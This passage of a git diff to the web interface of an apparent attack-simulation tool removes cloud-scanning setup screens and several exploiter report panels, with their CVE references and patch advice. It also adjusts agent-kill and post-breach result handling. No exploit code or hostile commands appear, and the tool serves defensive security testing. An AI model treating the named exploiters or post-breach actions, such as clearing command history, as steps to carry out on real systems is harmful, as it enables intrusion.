{ - return ( - - - Force Kill  - {this.generateToolTip('If this is on, monkey will die next time it communicates')} - - - this.forceKill(e, asset)}/> - - - - ); - } - downloadLogsRow(asset) { return ( <> @@ -123,11 +95,11 @@ class PreviewPaneComponent extends AuthComponent { ); } + exploitsTimeline(asset) { if (asset.exploits.length === 0) { return (
); } - return (

@@ -137,7 +109,7 @@ class PreviewPaneComponent extends AuthComponent {
    {asset.exploits.map(exploit =>
  • -
    +
    {new Date(exploit.timestamp).toLocaleString()}
    {exploit.origin}
    {exploit.exploiter}
    @@ -182,7 +154,6 @@ class PreviewPaneComponent extends AuthComponent { {this.ipsRow(asset)} {this.servicesRow(asset)} {this.accessibleRow(asset)} - {this.forceKillRow(asset)} {this.downloadLogsRow(asset)} @@ -245,7 +216,7 @@ class PreviewPaneComponent extends AuthComponent { info = this.scanInfo(this.props.item); break; case 'node': - if (this.props.item.group.includes('monkey') && this.props.item.group.includes('starting')) { + if (this.props.item.group.includes('monkey')) { info = this.assetInfo(this.props.item); } else if (this.props.item.group.includes('monkey', 'manual')) { info = this.infectedAssetInfo(this.props.item) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index 6026cebb6..2686cdc19 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -84,9 +84,15 @@ class MapPageComponent extends AuthComponent { } killAllMonkeys = () => { - this.authFetch('/api?action=killall') + this.authFetch('/api/monkey_control/stop-all-agents', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + // Python uses floating point seconds, Date.now uses milliseconds, so convert + body: JSON.stringify({kill_time: Date.now() / 1000.0}) + }) .then(res => res.json()) - .then(res => this.setState({killPressed: (res.status === 'OK')})); + .then(() => {this.setState({killPressed: true})}); }; renderKillDialogModal = () => { @@ -97,7 +103,7 @@ class MapPageComponent extends AuthComponent {
    Are you sure you want to kill all monkeys?

- This might take a few moments... + This might take up to 2 minutes...

and - install it on the Monkey Island server (machine running this page). - -
  • - b. Run aws configure. It's important to configure credentials as it - allows ScoutSuite to get information about your cloud configuration. The simplest way to do so is to - provide  - . -
  • - - -
  • - 2. If you change the configuration, make sure not to disable AWS system info collector. -
  • -
  • - 3. Go -  and run Monkey on the Island server. -
  • -
  • - 4. Assess results in Zero Trust report. -
  • - -
    - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js deleted file mode 100644 index 04a1f490b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSKeySetup.js +++ /dev/null @@ -1,179 +0,0 @@ -import React, {useEffect, useState} from 'react'; -import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; -import {COLUMN_SIZES} from '../../../../ui-components/inline-selection/utils'; -import AWSSetupOptions from './AWSSetupOptions'; -import {Button, Col, Form, Row} from 'react-bootstrap'; -import AuthComponent from '../../../../AuthComponent'; -import '../../../../../styles/components/scoutsuite/AWSSetup.scss'; -import {PROVIDERS} from '../ProvidersEnum'; -import classNames from 'classnames'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; -import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; -import {faQuestion} from '@fortawesome/free-solid-svg-icons'; -import Collapse from '@kunukn/react-collapse/dist/Collapse.umd'; -import keySetupForAnyUserImage from '../../../../../images/aws_keys_tutorial-any-user.png'; -import keySetupForCurrentUserImage from '../../../../../images/aws_keys_tutorial-current-user.png'; -import ImageModal from '../../../../ui-components/ImageModal'; - - -export default function AWSCLISetup(props) { - return InlineSelection(getContents, { - ...props, - collumnSize: COLUMN_SIZES.LARGE, - onBackButtonClick: () => { - props.setComponent(AWSSetupOptions, props); - } - }) -} - -const authComponent = new AuthComponent({}) - -const getContents = (props) => { - - const [accessKeyId, setAccessKeyId] = useState(''); - const [secretAccessKey, setSecretAccessKey] = useState(''); - const [sessionToken, setSessionToken] = useState(''); - const [errorMessage, setErrorMessage] = useState(''); - const [successMessage, setSuccessMessage] = useState(''); - const [docCollapseOpen, setDocCollapseOpen] = useState(false); - - function submitKeys(event) { - event.preventDefault(); - setSuccessMessage(''); - setErrorMessage(''); - authComponent.authFetch( - '/api/scoutsuite_auth/' + PROVIDERS.AWS, - { - 'method': 'POST', - 'body': JSON.stringify({ - 'accessKeyId': accessKeyId, - 'secretAccessKey': secretAccessKey, - 'sessionToken': sessionToken - }) - }) - .then(res => res.json()) - .then(res => { - if (res['error_msg'] === '') { - setSuccessMessage('AWS keys saved!'); - } else if (res['message'] === 'Internal Server Error') { - setErrorMessage('Something went wrong, double check keys and contact support if problem persists.'); - } else { - setErrorMessage(res['error_msg']); - } - }); - } - - useEffect(() => { - authComponent.authFetch('/api/aws_keys') - .then(res => res.json()) - .then(res => { - setAccessKeyId(res['access_key_id']); - setSecretAccessKey(res['secret_access_key']); - setSessionToken(res['session_token']); - }); - }, [props]); - - - // TODO separate into standalone component - function getKeyCreationDocsContent() { - return ( -
    -
    Tips
    -

    Consider creating a new user account just for this activity. Assign only ReadOnlyAccess and  - SecurityAudit policies.

    - -
    Keys for custom user
    -

    1. Open the IAM console at https://console.aws.amazon.com/iam/.

    -

    2. In the navigation pane, choose Users.

    -

    3. Choose the name of the user whose access keys you want to create, and then choose the Security credentials - tab.

    -

    4. In the Access keys section, choose Create Access key.

    -

    To view the new access key pair, choose Show. Your credentials will look something like this:

    -

    Access key ID: AKIAIOSFODNN7EXAMPLE

    -

    Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

    - - - - - - -
    Keys for current user
    -

    1. Click on your username in the upper right corner.

    -

    2. Click on "My security credentials".

    -

    3. In the Access keys section, choose Create Access key.

    -

    To view the new Access key pair, choose Show. Your credentials will look something like this:

    -

    Access key ID: AKIAIOSFODNN7EXAMPLE

    -

    Secret access key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

    - - - - - -
    ); - } - - function getKeyCreationDocs() { - return ( -
    - - -
    ); - } - - return ( -
    - {getKeyCreationDocs()} -
    - setAccessKeyId(evt.target.value)} - type='text' - placeholder='Access key ID' - value={accessKeyId}/> - setSecretAccessKey(evt.target.value)} - type='password' - placeholder='Secret access key' - value={secretAccessKey}/> - setSessionToken(evt.target.value)} - type='text' - placeholder='Session token (optional, only for temp. keys)' - value={sessionToken}/> - { - errorMessage ? -
    {errorMessage}
    - : - '' - } - { - successMessage ? -
    {successMessage}  - Go back and  - to start AWS scan!
    - : - '' - } - - - - - - -
    - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js deleted file mode 100644 index a66a893d8..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/AWSConfiguration/AWSSetupOptions.js +++ /dev/null @@ -1,40 +0,0 @@ -import React from 'react'; -import InlineSelection from '../../../../ui-components/inline-selection/InlineSelection'; -import NextSelectionButton from '../../../../ui-components/inline-selection/NextSelectionButton'; -import {faKey, faTerminal} from '@fortawesome/free-solid-svg-icons'; -import AWSCLISetup from './AWSCLISetup'; -import CloudOptions from '../CloudOptions'; -import AWSKeySetup from './AWSKeySetup'; - - -const AWSSetupOptions = (props) => { - return InlineSelection(getContents, { - ...props, - onBackButtonClick: () => { - props.setComponent(CloudOptions, props); - } - }) -} - -const getContents = (props) => { - return ( - <> - { - props.setComponent(AWSKeySetup, - {setComponent: props.setComponent}) - }}/> - { - props.setComponent(AWSCLISetup, - {setComponent: props.setComponent}) - }}/> - - ) -} - -export default AWSSetupOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js deleted file mode 100644 index bd9c83f04..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/CloudOptions.js +++ /dev/null @@ -1,65 +0,0 @@ -import React, {useEffect, useState} from 'react'; -import InlineSelection from '../../../ui-components/inline-selection/InlineSelection'; -import NextSelectionButton from '../../../ui-components/inline-selection/NextSelectionButton'; -import {faCheck, faCloud, faSync} from '@fortawesome/free-solid-svg-icons'; -import AWSSetupOptions from './AWSConfiguration/AWSSetupOptions'; -import {PROVIDERS} from './ProvidersEnum'; -import AuthComponent from '../../../AuthComponent'; - - -const CloudOptions = (props) => { - return InlineSelection(getContents, { - ...props, - onBackButtonClick: () => { - props.setComponent() - } - }) -} - -const authComponent = new AuthComponent({}) - -const getContents = (props) => { - - const [description, setDescription] = useState('Loading...'); - const [iconType, setIconType] = useState('spinning-icon'); - const [icon, setIcon] = useState(faSync); - - useEffect(() => { - authComponent.authFetch('/api/scoutsuite_auth/' + PROVIDERS.AWS) - .then(res => res.json()) - .then(res => { - if(res.is_setup){ - setDescription(getDescription(res.message)); - setIconType('icon-success'); - setIcon(faCheck); - } else { - setDescription('Setup Amazon Web Services infrastructure scan.'); - setIconType('') - setIcon(faCloud); - } - }); - }, [props]); - - function getDescription(message){ - return ( - <> - {message} Run from the Island to start the scan. Click next to change the configuration. - - ) - } - - return ( - <> - { - props.setComponent(AWSSetupOptions, - {setComponent: props.setComponent}) - }}/> - - ) -} - -export default CloudOptions; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js deleted file mode 100644 index 26bb87860..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/scoutsuite-setup/ProvidersEnum.js +++ /dev/null @@ -1,9 +0,0 @@ -// Should match enum in monkey/common/cloud/scoutsuite_consts.py - -export const PROVIDERS = { - AWS : 'aws', - AZURE : 'azure', - GCP : 'gcp', - ALIBABA : 'aliyun', - ORACLE : 'oci' -} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js index b24c9b302..1d898af01 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/OsTypes.js @@ -1,6 +1,4 @@ export const OS_TYPES = { - WINDOWS_32: 'win32', WINDOWS_64: 'win64', - LINUX_32: 'linux32', LINUX_64: 'linux64' } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 63d1d7e6f..a23cd6eb8 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -20,17 +20,11 @@ import guardicoreLogoImage from '../../images/guardicore-logo.png' import {faExclamationTriangle} from '@fortawesome/free-solid-svg-icons'; import '../../styles/App.css'; import {smbPasswordReport, smbPthReport} from './security/issues/SmbIssue'; -import {struts2IssueOverview, struts2IssueReport} from './security/issues/Struts2Issue'; -import {webLogicIssueOverview, webLogicIssueReport} from './security/issues/WebLogicIssue'; import {hadoopIssueOverview, hadoopIssueReport} from './security/issues/HadoopIssue'; import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue'; -import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIssue'; import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue'; import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue'; -import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; -import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue'; -import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; import { crossSegmentIssueOverview, crossSegmentIssueReport, @@ -81,16 +75,6 @@ class ReportPageComponent extends AuthComponent { }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'Struts2Exploiter': { - [this.issueContentTypes.OVERVIEW]: struts2IssueOverview, - [this.issueContentTypes.REPORT]: struts2IssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, - 'WebLogicExploiter': { - [this.issueContentTypes.OVERVIEW]: webLogicIssueOverview, - [this.issueContentTypes.REPORT]: webLogicIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'HadoopExploiter': { [this.issueContentTypes.OVERVIEW]: hadoopIssueOverview, [this.issueContentTypes.REPORT]: hadoopIssueReport, @@ -101,11 +85,6 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: mssqlIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'DrupalExploiter': { - [this.issueContentTypes.OVERVIEW]: drupalIssueOverview, - [this.issueContentTypes.REPORT]: drupalIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'WmiExploiter': { [this.issueContentTypes.REPORT]: { [this.credentialTypes.PASSWORD]: wmiPasswordIssueReport, @@ -121,26 +100,11 @@ class ReportPageComponent extends AuthComponent { }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'ElasticGroovyExploiter': { - [this.issueContentTypes.OVERVIEW]: elasticIssueOverview, - [this.issueContentTypes.REPORT]: elasticIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, - 'ShellShockExploiter': { - [this.issueContentTypes.OVERVIEW]: shellShockIssueOverview, - [this.issueContentTypes.REPORT]: shellShockIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'PowerShellExploiter': { [this.issueContentTypes.OVERVIEW]: powershellIssueOverview, [this.issueContentTypes.REPORT]: powershellIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'Ms08_067_Exploiter': { - [this.issueContentTypes.OVERVIEW]: ms08_067IssueOverview, - [this.issueContentTypes.REPORT]: ms08_067IssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'ZerologonExploiter': { [this.issueContentTypes.OVERVIEW]: zerologonIssueOverview, [this.issueContentTypes.REPORT]: zerologonIssueReport, @@ -574,7 +538,7 @@ class ReportPageComponent extends AuthComponent {
    - +
    diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js index b400b3418..b4140df14 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js @@ -30,8 +30,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { + findings={this.state.findings}/>
    ; } @@ -59,8 +58,7 @@ class ZeroTrustReportPageComponent extends AuthComponent { stillLoadingDataFromServer() { return typeof this.state.findings === 'undefined' || typeof this.state.pillars === 'undefined' - || typeof this.state.principles === 'undefined' - || typeof this.state.scoutsuite_data === 'undefined'; + || typeof this.state.principles === 'undefined'; } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js index 00420f095..51d349b30 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js @@ -53,7 +53,7 @@ class ReportMatrixComponent extends React.Component { } renderTechnique(technique) { - if (technique == null || typeof technique === undefined) { + if (technique == null || typeof technique === 'undefined') { return (
    ) } else { return ( diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js index 4bb420f71..8157aa78a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js @@ -5,6 +5,7 @@ export default function parsePbaResults(results) { const SHELL_STARTUP_NAME = 'Modify shell startup file'; const CMD_HISTORY_NAME = 'Clear command history'; +const PROCESS_LIST_COLLECTION = 'Collect running processes'; const multipleResultsPbas = [SHELL_STARTUP_NAME, CMD_HISTORY_NAME] @@ -41,10 +42,17 @@ function aggregateMultipleResultsPba(results) { } } + function modifyProcessListCollectionResult(result) { + result[0] = 'Found ' + Object.keys(result[0]).length.toString() + ' running processes'; + } + // check for pbas with multiple results and aggregate their results - for (let i = 0; i < results.length; i++) + for (let i = 0; i < results.length; i++) { if (multipleResultsPbas.includes(results[i].name)) aggregateResults(results[i]); + if ((results[i].name === PROCESS_LIST_COLLECTION) && (typeof results[i].result[0] !== 'string')) + modifyProcessListCollectionResult(results[i].result); + } // if no modifications were made to the results, i.e. if no pbas had mutiple results, return `results` as it is let noResultsModifications = true; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js deleted file mode 100644 index d5cc068bb..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/DrupalIssue.js +++ /dev/null @@ -1,24 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function drupalIssueOverview() { - return (
  • Drupal server/s are vulnerable to CVE-2019-6340.
  • ) -} - -export function drupalIssueReport(issue) { - return ( - <> - Upgrade Drupal server to versions 8.5.11, 8.6.10, or later. - - Drupal server at {issue.machine} ({issue.ip_address}) is vulnerable to remote command execution attack. -
    - The attack was made possible because the server is using an old version of Drupal, for which REST API is - enabled. For possible workarounds, fixes and more info read - here. -
    - - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js deleted file mode 100644 index 4d389bf2b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js +++ /dev/null @@ -1,23 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function elasticIssueOverview() { - return (
  • Elasticsearch servers are vulnerable to CVE-2015-1427. -
  • ) -} - -export function elasticIssueReport(issue) { - return ( - <> - Update your Elastic Search server to version 1.4.3 and up. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to an Elastic Groovy attack. -
    - The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. -
    - - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js deleted file mode 100644 index 2a831a093..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/MS08_067Issue.js +++ /dev/null @@ -1,24 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function ms08_067IssueOverview() { - return (
  • Machines are vulnerable to ‘Conficker’ (MS08-067).
  • ) -} - -export function ms08_067IssueReport(issue) { - return ( - <> - Install the latest Windows updates or upgrade to a newer operating system. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a Conficker attack. -
    - The attack was made possible because the target machine used an outdated and unpatched operating system - vulnerable to Conficker. -
    - - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js deleted file mode 100644 index b2496fb21..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js +++ /dev/null @@ -1,30 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function shellShockIssueOverview() { - return (
  • Machines are vulnerable to ‘Shellshock’ (CVE-2014-6271). -
  • ) -} - - -function getShellshockPathListBadges(paths) { - return paths.map(path => {path}); -} - -export function shellShockIssueReport(issue) { - return ( - <> - Update your Bash to a ShellShock-patched version. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a ShellShock attack. -
    - The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the - paths: {getShellshockPathListBadges(issue.paths)}. -
    - - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js deleted file mode 100644 index ca4c2b2b9..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Struts2Issue.js +++ /dev/null @@ -1,26 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function struts2IssueOverview() { - return (
  • Struts2 servers are vulnerable to remote code execution. ( - CVE-2017-5638)
  • ) -} - -export function struts2IssueReport(issue) { - return ( - <> - Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. - - Struts2 server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. -
    - The attack was made possible because the server is using an old version of Jakarta based file upload - Multipart parser. For possible work-arounds and more info read here. -
    - - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js deleted file mode 100644 index e7678c448..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/WebLogicIssue.js +++ /dev/null @@ -1,23 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function webLogicIssueOverview() { - return (
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • ) -} - -export function webLogicIssueReport(issue) { - return ( - <> - Update Oracle WebLogic server to the latest supported version. - - Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to one of remote code execution attacks. -
    - The attack was made possible due to one of the following vulnerabilities: - CVE-2017-10271 or - CVE-2019-2725 -
    - - ); -} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js index eb8231441..8147d4910 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsSection.js @@ -33,13 +33,10 @@ class FindingsSection extends Component {

    ); diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js index 657ad741e..d62316f71 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/FindingsTable.js @@ -4,7 +4,6 @@ import PaginatedTable from '../common/PaginatedTable'; import * as PropTypes from 'prop-types'; import PillarLabel from './PillarLabel'; import EventsButton from './EventsButton'; -import ScoutSuiteRuleButton from './scoutsuite/ScoutSuiteRuleButton'; const EVENTS_COLUMN_MAX_WIDTH = 180; const PILLARS_COLUMN_MAX_WIDTH = 260; @@ -36,16 +35,11 @@ export class FindingsTable extends Component { ]; getFindingDetails(finding) { - if ('scoutsuite_rules' in finding.details) { - return ; - } else { - return ; - } + return ; } getFindingPillars(finding) { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js deleted file mode 100644 index 81aee324e..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ResourceDropdown.js +++ /dev/null @@ -1,84 +0,0 @@ -import React, {useState} from 'react'; -import * as PropTypes from 'prop-types'; -import '../../../../styles/components/scoutsuite/RuleDisplay.scss' -import classNames from 'classnames'; -import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; -import {faChevronDown} from '@fortawesome/free-solid-svg-icons/faChevronDown'; -import {faChevronUp} from '@fortawesome/free-solid-svg-icons/faChevronUp'; -import ScoutSuiteDataParser from './ScoutSuiteDataParser'; -import Collapse from '@kunukn/react-collapse'; -import {faArrowRight} from '@fortawesome/free-solid-svg-icons'; - -export default function ResourceDropdown(props) { - - const [isCollapseOpen, setIsCollapseOpen] = useState(false); - let parser = new ScoutSuiteDataParser(props.scoutsuite_data.data.services); - let resource_value = parser.getResourceValue(props.resource_path, props.template_path); - - function getResourceDropdown() { - return ( -
    - - -
    - ); - } - - function replacePathDotsWithArrows(resourcePath) { - let path_vars = resourcePath.split('.') - let display_path = [] - for (let i = 0; i < path_vars.length; i++) { - display_path.push(path_vars[i]) - if (i !== path_vars.length - 1) { - display_path.push() - } - } - return display_path; - } - - function prettyPrintJson(data) { - return JSON.stringify(data, null, 4); - } - - function getResourceValueDisplay() { - return ( -
    -

    Value:

    -
    {prettyPrintJson(resource_value)}
    -
    - ); - } - - function getResourceDropdownContents() { - return ( -
    -
    -

    Path:

    -

    {replacePathDotsWithArrows(props.resource_path)}

    -
    - {getResourceValueDisplay()} -
    - ); - } - - return getResourceDropdown(); -} - -ResourceDropdown.propTypes = { - template_path: PropTypes.string, - resource_path: PropTypes.string, - scoutsuite_data: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js deleted file mode 100644 index dc81ff183..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/RuleDisplay.js +++ /dev/null @@ -1,70 +0,0 @@ -import React from 'react'; -import * as PropTypes from 'prop-types'; -import '../../../../styles/components/scoutsuite/RuleDisplay.scss' -import ResourceDropdown from './ResourceDropdown'; - -export default function RuleDisplay(props) { - - return ( -
    -
    -

    {props.rule.description}({props.rule.service})

    -
    -
    -

    -

    -
    -

    Resources checked:

    -

    {props.rule.checked_items}

    -
    - {getReferences()} - {getResources()} -
    ); - - function getReferences() { - let references = [] - props.rule.references.forEach(reference => { - references.push({reference}) - }) - if (references.length) { - return ( -
    -

    References:

    - {references} -
    ) - } else { - return null; - } - } - - function getResources() { - let resources = [] - for (let i = 0; i < props.rule.items.length; i++) { - let item = props.rule.items[i]; - let template_path = Object.prototype.hasOwnProperty.call(props.rule, 'display_path') - ? props.rule.display_path : props.rule.path; - resources.push() - } - if (resources.length) { - return ( -
    -

    Flagged resources ({props.rule.flagged_items}):

    - {resources} -
    ) - } else { - return null; - } - } -} - -RuleDisplay.propTypes = { - rule: PropTypes.object, - scoutsuite_data: PropTypes.object -}; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js deleted file mode 100644 index be5599d99..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/scoutsuite/ScoutSuiteDataParser.js +++ /dev/null @@ -1,118 +0,0 @@ -export default class ScoutSuiteDataParser { - constructor(runResults) { - this.runResults = runResults - } - - /** - * Gets value of cloud resource based on path of specific checked field and more abstract template path, - * which describes the scope of resource values. - * @param itemPath contains path to a specific value e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled - * @param templatePath contains a template path for resource we would want to display e.g. s3.buckets.id - * @returns {*[]|*} resource value e.g. {'bucket_id': 123, 'bucket_max_size': '123GB'} - */ - getResourceValue(itemPath, templatePath) { - let resourcePath = this.fillTemplatePath(itemPath, templatePath); - return this.getObjectValueByPath(resourcePath, this.runResults); - } - - /** - * Replaces id's in template path with id's from item path to form actual path to the object - * @param itemPath e.g. s3.buckets.da1e7081077ce92.secure_transport_enabled - * @param templatePath e.g. s3.buckets.id - * @returns {*} e.g. s3.buckets.da1e7081077ce92 - */ - fillTemplatePath(itemPath, templatePath) { - let itemPathArray = itemPath.split('.'); - let templatePathArray = templatePath.split('.'); - let resourcePathArray = templatePathArray.map((val, i) => { - return val === 'id' ? itemPathArray[i] : val - }) - return resourcePathArray.join('.'); - } - - /** - * Retrieves value from ScoutSuite data object based on path, provided in the rule - * @param path E.g. a.id.c.id.e - * @param source E.g. {a: {b: {c: {d: {e: [{result1: 'result1'}, {result2: 'result2'}]}}}}} - * @returns {*[]|*} E.g. ['result1', 'result2'] - */ - getObjectValueByPath(path, source) { - let key; - - while (path) { - key = this.getNextKeyInPath(path); - source = this.getValueForKey(key, path, source); - path = this.trimFirstKey(path); - } - - return source; - } - - /** - * Gets next key from the path - * @param path e.g. s3.buckets.id - * @returns {string|*} s3 - */ - getNextKeyInPath(path) { - if (path.indexOf('.') !== -1) { - return path.substr(0, path.indexOf('.')); - } else { - return path; - } - } - - /** - * Returns value from object, based on path and current key - * @param key E.g. "a" - * @param path E.g. "a.b.c" - * @param source E.g. {a: {b: {c: 'result'}}} - * @returns {[]|*} E.g. {b: {c: 'result'}} - */ - getValueForKey(key, path, source) { - if (key === 'id') { - return this.getValueByReplacingUnknownKey(path, source); - } else { - return source[key]; - } - } - - /** - * Gets value from object if first key in path doesn't 